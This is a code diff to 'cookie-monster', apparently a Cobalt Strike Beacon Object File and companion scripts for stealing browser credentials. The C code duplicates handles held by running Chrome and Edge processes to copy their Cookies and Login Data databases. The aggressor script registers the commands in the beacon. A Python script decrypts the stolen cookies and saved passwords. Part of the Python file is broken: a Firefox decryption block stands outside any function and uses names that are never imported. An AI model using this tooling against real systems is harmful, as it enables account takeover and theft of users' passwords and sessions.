printf("OpenProcess failed %d\n", GetLastError());
GlobalFree(shi);
return;
return FALSE;
}
HANDLE hDuplicate = NULL;
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
printf("DuplicateHandle failed %d\n", GetLastError());
GlobalFree(shi);
return;
return FALSE;
}
FARPROC GetFinalPathNameByHandle = GetProcAddress(LoadLibrary("kernel32.dll"), "GetFinalPathNameByHandleA");
@@ -363,7 +392,7 @@ VOID GetChromeDatabase(DWORD PID) {
if(strcmp(newFilename, "Application") == 0) {
printf("SKIPPING PID %d\n", PID);
GlobalFree(shi);
return;
return FALSE;
}
}
@@ -376,12 +405,12 @@ VOID GetChromeDatabase(DWORD PID) {
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
HANDLE hFile = CreateFile("GoogleCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE hFile = CreateFile("ChromeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
CloseHandle(hFile);
GlobalFree(buffer);
ExitProcess(0);
return TRUE;
}
CloseHandle(hDuplicate);
@@ -390,14 +419,98 @@ VOID GetChromeDatabase(DWORD PID) {
}
}
printf("NO HANDLE TO COOKIE WAS FOUND \n");
return;
return FALSE;
}
BOOL GetChromePasswords(DWORD PID) {
printf("chrome PID found %d\n", PID);
SYSTEM_HANDLE_INFORMATION *shi = NULL;
DWORD dwNeeded = 0;
DWORD dwSize = 0xffffff / 2;
shi = (SYSTEM_HANDLE_INFORMATION *)GlobalAlloc(GPTR, dwSize);
//utilize NtQueryStemInformation to list all handles on system
NTSTATUS status = NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
printf("Handle Count %d\n", shi->NumberOfHandles);
DWORD i = 0;
BOOL firstHandle = TRUE;
//iterate through each handle and find our PID and a handle to a file
for(i = 0; i < shi->NumberOfHandles; i++) {
//check if handle to file
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
//check if handle is to our PID
if(shi->Handles[i].ProcessId == PID) {
printf("PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
if(shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x2 && shi->Handles[i].GrantedAccess == 0x0012019f)) {
HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
if(hProc == INVALID_HANDLE_VALUE) {
printf("OpenProcess failed %d\n", GetLastError());
GlobalFree(shi);
return FALSE;
}
HANDLE hDuplicate = NULL;
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
printf("DuplicateHandle failed %d\n", GetLastError());
GlobalFree(shi);
return FALSE;
}
FARPROC GetFinalPathNameByHandle = GetProcAddress(LoadLibrary("kernel32.dll"), "GetFinalPathNameByHandleA");
CHAR filename[256];
ZeroMemory(filename, 256);
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
printf("%s\n", filename);
if(firstHandle) {
DWORD dwFilenameSize = strlen(filename);
CHAR *newFilename = filename + strlen(filename) - strlen("Application");
firstHandle = FALSE;
if(strcmp(newFilename, "Application") == 0) {
printf("SKIPPING PID %d\n", PID);
GlobalFree(shi);
return FALSE;
}
}
if(strstr(filename, "Login Data") != NULL) {
printf("Login Data WAS FOUND\n");
SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
DWORD dwFileSize = GetFileSize(hDuplicate, NULL);
printf("file size is %d\n", dwFileSize);
DWORD dwRead = 0;
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
HANDLE hFile = CreateFile("ChromePasswords.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
CloseHandle(hFile);
GlobalFree(buffer);
return TRUE;
}
CloseHandle(hDuplicate);
}
}
}
}
printf("NO HANDLE TO LOGIN DATA WAS FOUND \n");
return FALSE;
}
VOID GetEdgePID() {
//get handle to all processes
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
INT processCount = 0;
BOOL databaseStatus = FALSE;
BOOL passwordStatus = FALSE;
pe32.dwSize = sizeof(PROCESSENTRY32);
//iterate through each handle to find chrome.exe
if(Process32First(hSnap, &pe32)) {
@@ -406,7 +519,16 @@ VOID GetEdgePID() {
{
//edge was found, get cookies database
processCount++;
GetEdgeDatabase(pe32.th32ProcessID);
if (databaseStatus == FALSE){
if (GetEdgeDatabase(pe32.th32ProcessID)){
databaseStatus = TRUE;
}
}
if (passwordStatus == FALSE){
if (GetEdgePasswords(pe32.th32ProcessID)){
passwordStatus = TRUE;
}
}
}
} while(Process32Next(hSnap, &pe32));
}
@@ -430,10 +552,26 @@ VOID GetEdgePID() {
CHAR cwd[MAX_PATH];
GetCurrentDirectory(MAX_PATH, cwd);
printf("Edge COOKIES saved to %s \n", cwd);
CHAR *passwordData = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Default\\Login Data");
if(passwordData == NULL) {
printf("Edge LOGIN DATA not found on host\n");
return;
}
//save data to file
HANDLE hFile2 = CreateFile("EdgePasswords.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwRead2 = 0;
WriteFile(hFile2, passwordData, strlen(passwordData), &dwRead2, NULL);
CloseHandle(hFile2);
GlobalFree(passwordData);
// print current directory to screen
GetCurrentDirectory(MAX_PATH, cwd);
printf("Edge LOGIN DATA saved to %s \n", cwd);
}
}
VOID GetEdgeDatabase(DWORD PID) {
BOOL GetEdgeDatabase(DWORD PID) {
printf("Edge PID found %d\n", PID);
@@ -484,7 +622,7 @@ VOID GetEdgeDatabase(DWORD PID) {
if(hProc == INVALID_HANDLE_VALUE) {
printf("OpenProcess failed %d\n", GetLastError());
GlobalFree(shi);
return;
return FALSE;
}
//get last error
//DWORD dwError = NULL;
@@ -495,12 +633,119 @@ VOID GetEdgeDatabase(DWORD PID) {
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
printf("DuplicateHandle failed %d\n", GetLastError());
GlobalFree(shi);
return;
return FALSE;
}
//get last error
DWORD dwError2 = NULL;
dwError2 = GetLastError();
printf("Last Error: %d\n", dwError2);
//when file does not exist on disk, error 87 thrown
if(dwError2 == 87) {
SetLastError(0);
printf("Wrong Function Call Somewhere \n");
//GlobalFree(shi);
continue;
}
FARPROC GetFinalPathNameByHandle = GetProcAddress(LoadLibrary("kernel32.dll"), "GetFinalPathNameByHandleA");
CHAR filename[256];
ZeroMemory(filename, 256);
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
printf("%s\n", filename);
printf("Length of file name is %d\n", strlen(filename));
if(firstHandle) {
DWORD dwFilenameSize = strlen(filename);
CHAR *newFilename = filename + strlen(filename) - strlen("Application");
firstHandle = FALSE;
if(strcmp(newFilename, "Application") == 0) {
printf("SKIPPING PID %d\n", PID);
GlobalFree(shi);
return FALSE;
}
}
if(strstr(filename, "Cookies") != NULL) {
printf("COOKIE WAS FOUND\n");
SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
DWORD dwFileSize = GetFileSize(hDuplicate, NULL);
printf("file size is %d\n", dwFileSize);
DWORD dwRead = 0;
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
HANDLE hFile = CreateFile("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
CloseHandle(hFile);
GlobalFree(buffer);
return TRUE;
}
CloseHandle(hDuplicate);
}
}
}
}
printf("NO HANDLE TO COOKIE WAS FOUND \n");
return FALSE;
}
BOOL GetEdgePasswords(DWORD PID) {
printf("Edge PID found %d\n", PID);
//SYSTEM_HANDLE_INFORMATION *shi = NULL;
DWORD dwNeeded = 0;
NTSTATUS status;
DWORD dwSize = 0xffffff / 2;
//shi = (SYSTEM_HANDLE_INFORMATION *)GlobalAlloc(GPTR, dwSize);
//utilize NtQueryStemInformation to list all handles on system
PSYSTEM_HANDLE_INFORMATION shi;
ULONG handleInfoSize = 0x10000;
shi = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(
SystemHandleInformation,
shi,
handleInfoSize,
NULL
)) == STATUS_INFO_LENGTH_MISMATCH)
shi = (PSYSTEM_HANDLE_INFORMATION)realloc(shi, handleInfoSize *= 2);
//NTSTATUS status = NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
printf("Handle Count %d\n", shi->NumberOfHandles);
DWORD i = 0;
BOOL firstHandle = TRUE;
//iterate through each handle and find our PID and a handle to a file
for(i = 0; i < shi->NumberOfHandles; i++) {
//check if handle to file
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
//check if handle is to our PID
if(shi->Handles[i].ProcessId == PID) {
printf("PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
if( (shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x00000002 && shi->Handles[i].GrantedAccess == 0x0012019f))) {
HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
if(hProc == INVALID_HANDLE_VALUE) {
printf("OpenProcess failed %d\n", GetLastError());
GlobalFree(shi);
return FALSE;
}
HANDLE hDuplicate = NULL;
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
printf("DuplicateHandle failed %d\n", GetLastError());
GlobalFree(shi);
return FALSE;
}
//when file does not exist on disk, error 87 thrown
DWORD dwError2 = NULL;
dwError2 = GetLastError();
printf("Last Error: %d\n", dwError2);
if(dwError2 == 87) {
SetLastError(0);
printf("Wrong Function Call Somewhere \n");
@@ -525,12 +770,12 @@ VOID GetEdgeDatabase(DWORD PID) {
if(strcmp(newFilename, "Application") == 0) {
printf("SKIPPING PID %d\n", PID);
GlobalFree(shi);
return;
return FALSE;
}
}
if(strstr(filename, "Cookies") != NULL) {
printf("COOKIE WAS FOUND\n");
if(strstr(filename, "Login Data") != NULL) {
printf("LOGIN DATA WAS FOUND\n");
SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
DWORD dwFileSize = GetFileSize(hDuplicate, NULL);
printf("file size is %d\n", dwFileSize);
@@ -538,12 +783,12 @@ VOID GetEdgeDatabase(DWORD PID) {
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
HANDLE hFile = CreateFile("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE hFile = CreateFile("EdgePasswords.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
CloseHandle(hFile);
GlobalFree(buffer);
ExitProcess(0);
return TRUE;
}
CloseHandle(hDuplicate);
@@ -551,8 +796,8 @@ VOID GetEdgeDatabase(DWORD PID) {
}
}
}
printf("NO HANDLE TO COOKIE WAS FOUND \n");
return;
printf("NO HANDLE TO LOGIN DATA WAS FOUND \n");
return FALSE;
}
@@ -564,10 +809,10 @@ int main(int argc, char* argv[]) {
printf(" cookie-monster.exe --all \n");
printf("Cookie Monster Options:\n");
printf(" -h, --help\t\t\t Show this help message and exit\n");
printf(" --all\t\t\t\t Run chrome, edge, and firefox methods\n");
printf(" --edge\t\t\t Extract edge key and download cookies file to PWD\n");
printf(" --chrome\t\t\t Extract chrome key and download cookies file to PWD\n");
printf(" --firefox\t\t\t Locate firefox key and Cookies, does not make a copy of either file\n");
printf(" --all\t\t\t\t Extract chrome, edge, and firefox keys\n");
printf(" --edge\t\t\t Extract edge keys\n");
printf(" --chrome\t\t\t Extract chrome keys\n");
printf(" --firefox\t\t\t Extract firefox keys\n");
return 0;
}
if(strcmp(argv[1], "--all") == 0){
+55 -17
View File
@@ -9,19 +9,23 @@
beacon_command_register(
"cookie-monster",
"Locate and copy the cookie file used for Edge/Chrome/Firefox",
"Usage: cookie-monster [ --chrome || --edge || --firefox || --chromepid <pid> || --edgepid <pid> ] \
"Usage: cookie-monster [--chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid> ] \
cookie-monster Example: \
cookie-monster --chrome \
cookie-monster --edge \
cookie-moster --firefox \
cookie-monster --chromepid 1337 \
cookie-monster --edgepid 4444 \
cookie-monster --chromeCookiePID 1337 \
cookie-monster --chromeLoginDataPID 1337 \
cookie-monster --edgeCookiePID 4444 \
cookie-monster --edgeLoginDataPID 4444 \
cookie-monster Options: \
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD \
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD \
--firefox, looks for profiles.ini and locates the key4.db and logins.json file \
--chromepid, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file \
--edgepid, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file \
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file \
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file \
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file \
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file \
");
# $1 - beacon id
@@ -45,8 +49,10 @@ alias cookie-monster {
$chrome = 1;
$edge = 1;
$firefox = 1;
$chromepid = 1;
$edgepid = 1;
$chromeCookiePID = 1;
$chromeLoginDataPID = 1;
$edgeCookiePID = 1;
$edgeLoginDataPID = 1;
$pid = 1;
for ($i = 1; $i < size(@_); $i++)
@@ -63,17 +69,16 @@ alias cookie-monster {
{
$firefox = 0;
}
else if (@_[$i] eq "--chromepid")
else if (@_[$i] eq "--chromeCookiePID")
{
$chromepid = 0;
$chromeCookiePID = 0;
# get PID
$i++;
if($i >= size(@_))
{
berror($1, "missing --chromepid PID value");
berror($1, "missing --chromeCookiePID PID value");
return;
}
# set the revert time
$pid = @_[$i];
if(!-isnumber $pid || $pid eq "1")
{
@@ -81,17 +86,50 @@ alias cookie-monster {
return;
}
}
else if (@_[$i] eq "--edgepid")
else if (@_[$i] eq "--chromeLoginDataPID")
{
$edgepid = 0;
$chromeLoginDataPID = 0;
# get PID
$i++;
if($i >= size(@_))
{
berror($1, "missing --edgepid PID value");
berror($1, "missing --chromeLoginDataPID PID value");
return;
}
$pid = @_[$i];
if(!-isnumber $pid || $pid eq "1")
{
berror($1, "Invalid PID: " . $pid);
return;
}
}
else if (@_[$i] eq "--edgeCookiePID")
{
$edgeCookiePID = 0;
# get PID
$i++;
if($i >= size(@_))
{
berror($1, "missing --edgeCookiePID PID value");
return;
}
$pid = @_[$i];
if(!-isnumber $pid || $pid eq "1")
{
berror($1, "Invalid PID: " . $pid);
return;
}
}
else if (@_[$i] eq "--edgeLoginDataPID")
{
$edgeLoginDataPID = 0;
# get PID
$i++;
if($i >= size(@_))
{
berror($1, "missing --edgeLoginDataPID PID value");
return;
}
# set the revert time
$pid = @_[$i];
if(!-isnumber $pid || $pid eq "1")
{
@@ -105,12 +143,12 @@ alias cookie-monster {
}
}
if ( $chrome == 1 && $edge == 1 && $firefox == 1 && $chromepid == 1 && $edgepid == 1 && $pid == 1){
if ( $chrome == 1 && $edge == 1 && $firefox == 1 && $chromeCookiePID == 1 && $chromeLoginDataPID == 1 && $edgeCookiePID == 1 && $edgeLoginDataPID == 1 && $pid == 1){
berror($1, "NO OPTIONS SELECTED");
return;
}
$args = bof_pack($1, "iiiiii", $chrome, $edge, $firefox, $chromepid, $edgepid, $pid );
$args = bof_pack($1, "iiiiiiii", $chrome, $edge, $firefox, $chromeCookiePID, $chromeLoginDataPID, $edgeCookiePID, $edgeLoginDataPID, $pid );
beacon_inline_execute($1, $data, "go", $args);
}
+148
View File
@@ -0,0 +1,148 @@
#code inspired by DonPAPI https://github.com/login-securite/DonPAPI
import sys
import base64
import sqlite3
import os
from Crypto.Cipher import AES
import binascii
import json
from datetime import datetime,timedelta
from pyasn1.codec.der import decoder
def cookies(key, file_location):
# connect to database
if os.path.isfile(file_location) == False:
print("Error: File does not exist")
sys.exit(1)
try:
conn = sqlite3.connect(file_location)
cursor = conn.cursor()
# get encrypted cookies from cookies table
cursor.execute('select host_key, "TRUE", path, "FALSE", expires_utc, name, encrypted_value from cookies')
values = cursor.fetchall()
for host_key, _, path, _, expires_utc, name, encrypted_value in values:
# print results
# print("Cookie: " + host_key +":"+ name + decrypt_data(encrypted_value, key) + ";")
print("Host: " + host_key)
print("Path: " + path)
print("Name: " + name)
print("Cookie: " + decrypt_data(encrypted_value, key) + ";")
print("Expires: " + (datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).strftime('%b %d %Y %H:%M:%S'))
print("")
except sqlite3.Error as e:
print("Error: Could not connect to database")
print(e)
sys.exit(1)
def login_data(key, file_location):
# connect to database
if os.path.isfile(file_location) == False:
print("Error: File does not exist")
sys.exit(1)
try:
conn = sqlite3.connect(file_location)
cursor = conn.cursor()
# get encrypted passwords from logins table
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
values = cursor.fetchall()
for origin_url, username_value, password_value in values:
# print results
print("URL: " + origin_url)
print("Username: " + username_value)
print("Password: " + decrypt_data(password_value, key))
print("")
except sqlite3.Error as e:
print("Error: Could not connect to database")
print(e)
sys.exit(1)
def decrypt_data(encrypted_junk, key):
#print(key)
key = binascii.unhexlify(key)
try:
nonce = encrypted_junk[3:3 + 12]
cipher_text = encrypted_junk[15:]
tag = encrypted_junk[-16:]
plain_text = AES.new(key, AES.MODE_GCM, nonce)
text = plain_text.decrypt(cipher_text)[:-16]
return text.decode('utf-8')
except Exception as e:
print("Error: Could not decrypt password")
print(e)
sys.exit(1)
"""
User master key is also encrypted (if provided, the master_password could be used to encrypt it)
"""
# See http://www.drh-consultancy.demon.co.uk/key3.html
pbeAlgo = str(decoded_item[0][0][0])
if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC
entry_salt = decoded_item[0][0][1][0].asOctets()
cipher_t = decoded_item[0][1].asOctets()
# See http://www.drh-consultancy.demon.co.uk/key3.html
hp = sha1(global_salt + master_password).digest()
pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt))
chp = sha1(hp + entry_salt).digest()
k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
tk = hmac.new(chp, pes, sha1).digest()
k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
k = k1 + k2
iv = k[-8:]
key = k[:24]
return triple_des(key, CBC, iv).decrypt(cipher_t)
# New version
elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2
assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12'
assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9'
assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42'
# https://tools.ietf.org/html/rfc8018#page-23
entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
iteration_count = int(decoded_item[0][0][1][0][1][1])
key_length = int(decoded_item[0][0][1][0][1][2])
assert key_length == 32
k = sha1(global_salt + master_password).digest()
key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length)
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets()
# 04 is OCTETSTRING, 0x0e is length == 14
encrypted_value = decoded_item[0][1].asOctets()
aes = AESModeOfOperationCBC(key, iv=iv)
cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE])
for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)])
return cleartxt
def main():
# get arguements
args = sys.argv[1:]
if len(args) != 3:
print("Usage: python decrypt.py <base64 key> [--cookies || --passwords <DB File Location>]")
sys.exit(1)
base64_key = args[0]
option = args[1]
file_location = args[2]
#base64 decode key
if option == "--cookies":
key = bytearray(base64.b64decode(base64_key).decode('utf-8').replace('\\x', ''), 'utf-8')
cookies(key, file_location)
elif option == "--passwords":
key = bytearray(base64.b64decode(base64_key).decode('utf-8').replace('\\x', ''), 'utf-8')
login_data(key, file_location)
elif option == "--firefox":
print("TO DO")
else:
print("Usage: python decrypt.py <base64 key> [--cookies || --passwords <DB File Location>]")
sys.exit(1)
if __name__ == "__main__":
main()
+4
View File
@@ -0,0 +1,4 @@
pycryptodome
pyasn1_modules